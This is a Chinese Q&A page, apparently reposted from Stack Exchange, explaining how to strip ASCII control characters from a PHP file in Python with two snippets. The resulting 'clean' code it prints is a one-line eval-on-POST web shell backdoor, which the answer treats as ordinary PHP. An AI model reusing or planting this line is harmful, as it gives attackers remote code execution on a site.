Python读取含非法字符的PHP文件处理后仍报错,如何解决?
解决Python读取含非法字符PHP文件的问题
你的问题出在encode("ascii", "ignore")只过滤非ASCII字节,但残留的^r这类是ASCII控制字符(属于0-31的ASCII范围),不在该方法的过滤范围内,所以会导致后续语法错误。以下是两种无需修改原文件的解决方法:
方法一:正则移除所有非可打印ASCII字符
适合需要保留合法非ASCII字符(如中文注释)的场景:
import re # 读取文件并解码(替换无法解码的字节) with open("目标PHP文件路径.php", "rb") as f: raw_content = f.read().decode("utf-8", errors="replace") # 移除所有ASCII控制字符(0-31)和DEL字符(127) cleaned_content = re.sub(r'[\x00-\x1F\x7F]', '', raw_content) # 处理后的内容可正常使用 print(cleaned_content)
方法二:字节层面过滤可打印ASCII字符
适合仅需保留ASCII可打印字符(字母、数字、常规符号)的场景:
with open("目标PHP文件路径.php", "rb") as f: byte_data = f.read() # 只保留ASCII可打印字节(32-126,包含空格) filtered_bytes = bytes([b for b in byte_data if 32 <= b <= 126]) cleaned_content = filtered_bytes.decode("ascii", errors="ignore") print(cleaned_content)
两种方法处理后,都会得到干净的PHP代码:if(!empty($_POST['adbb7e61'])){eval($_POST['bba6e']);exit(0);},不会再触发非法字符的语法错误。
内容的提问来源于stack exchange,提问作者user3098629
相关产品推荐
相关产品推荐

